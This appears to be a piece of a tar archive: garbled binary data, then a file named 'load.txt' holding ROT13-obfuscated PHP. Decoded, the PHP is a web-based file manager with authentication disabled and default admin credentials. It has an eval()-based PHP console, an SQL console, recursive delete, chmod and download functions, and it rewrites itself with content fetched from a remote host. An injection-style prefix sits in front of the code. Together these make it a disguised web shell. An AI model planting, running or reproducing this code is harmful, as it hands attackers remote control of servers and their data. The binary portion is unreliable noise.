�����#�h0ǃ����G�AWCw�xmA��h��#�8���6|�B��tH'��~U���u`pj�젴E"�_�.f�h��і�NOV�\AC��‰˗�Jx�y���?��k�)�2�
�����Teu#�h^V5D��q��
2����Z2W N��}��н�<=b
�tn!�!�}eƜ�da�N4���	F�4�d�[��CÏ��1x���V���*k8N��2<6%h����zF�y=���!��Ué����|yv� K�}�e�e8Hc�̈��DغA �w��In� }�Q֡"HO$�ea����5K�p5h
�pdƯ�2����5�i�n'ymD�ǧ��$Ksx��x��`Eސ���ɕ�{�Ǵ�`�)�/'u`I���W��
������$�Ed
����a/�Y`�&'����/9���q�{N"�6O�3c�Y̨�?k��0d�hG���-�Ta�%�9�TPh���sH}�T^���k� ��(㵜�L��Q4._l��!\Z��K��Q.a�rIo� �~�L�ɜ�xr�ޥ�c?���;l����� �v�%"�p�}C��<B�M1��:�a˕{O/��Y�2>��T{���E���9Zr?@���}��/���s��A�HA��섚��=J������-���m{�^dtl͇1� �%��yŐ�l�5Y� �t�SM�n%!D.W4�D��$7�R��W�Fk�낞�;�l��w}�E��1��s}r`�_��W�Ç/��𽯡�s���;>u/�T<
�i]R9N�݈c^z���N|�)�˯��y������7��Ik<��wx���j&2��4f>�a�*��ʨ6u�����Q�d����db�;�XG��#)r<��:�Z�l�7|F�y�|@�f�y��9:���ֺ��~��t8tl�X�C��9�g<��3�Kk��c�@W�n���9EW�Ie�:L��e��Kx�iJ��ALs::��L�%
����o��f���8M�=�שڳmE~ �gV�� e��Z(��r�I�'�J  ��P����O��3O;9�exRQ��A���mk)v~=�ڢ)�.�k-�:���
�fd�'20��f�[�hF�C�Di�M�̇���<�Dj��|7�G�m>��<{_q��
chMA����D�z�㺧�[��ޛ�m�Ss{!��0-]�3���W�˷˯�^�œ�����pQ�
2*(I� .�d��Z�4�ڸ�BE�8<�F�ѲB�M�6kǦ˚��a�-6�w=AE7@��h�}�&���E(}��Ƣ�,I�Jt@K��P�a��
��@�޳�oe��-�����2Y_���NW�����i˲�3�V�R���45�!-
�{p�2F������(M^KWWx���~�W`Jʓ�qvY�6J�_���-y�1f����Ц���]2@z�–����iu�&�K{��kE��R�w�����'J�O�N�g&`�Tʘ�(�O�g��U�z�@������<ǂ,�v&���3�*�A/�8a��z֧��D�su
xJݙ�"�I��/B�b�Ąy���;]~~^|�N��e|�l�S�p�32ۜӏ=,����B�=�,6hp:�C�s�Kq����q�U�1Q�Y?-�*�8l~�]���>���pb� ���k;��f$����/I�w���'��m�hb���K�׵Z���H5.ul�n�Ʀ�}3���Aކ��N�O�O��݂�G�$�|5�����P��֨��O�&�ͫ��{��/R���+vk|��-K
�1�Y�`�m��^6m�;��D�s�e�0`�tF�/i�(j��i�C�_���o��5,C:rpVd�͉]�fە���s���E��<Kũy��0)p(��Y��z��)�k����%ǂ���psB��@�Ԟ,H���`���=惭*���=O��"�>�Ee��kI�d�ʐ
<
���C*_2ԣ=p��od���54��
\Z�
o�"5��ru�^�uz�u3|���'M��{Kf���
��&�Ι�����"N���.u��ԅ{����R'�Ppy�uF�>�����_T��9��ژ)��}x�oA`f�f~�ok?���ε��>ǡ?�������]�{���T�T��/�H
q"�3tH��TxF���4`Y�N���}d�W��(���zX�&c*Ϻ�%��yЕ�	r�tj��
�I���_P=��F���u|��'U՝�+:{��5��.�
�6��{�Z����P�˜��E�\hp]���ʆ�h;.O��	��ٓ��@�~���#��VG2����R��{�sy��c"��A� ���H���;C�l�;��{`����NV
��ĉ��qjh�\`�
�ǽ�����8F�c��~����uطGD�牠v𼤿l���Z�-�=u�r9o��,���m�嶾^�-��p6^���05"�P�ڬ�o�M�
x^1n{�Kl�y�ɓ�b�1`�5O�}�v�iJ$��BN���
��RVӗ1�-S�XH�����_�x������Ȳ�83Z9>����0~���a$sh��b�ꋹ�e��N�;@�ǰ:����X�i_Ċ셐!���t��>���>u�+ef�\b
�jb_۟A��w��>8N��� ���)�����?
e��(Z<��q5�<�U�?6t.G*��G~||�zM,g��f�Ԭ������A"Ki,�
�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��Hload.txt000064400000240606150425251240006234 0ustar00rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
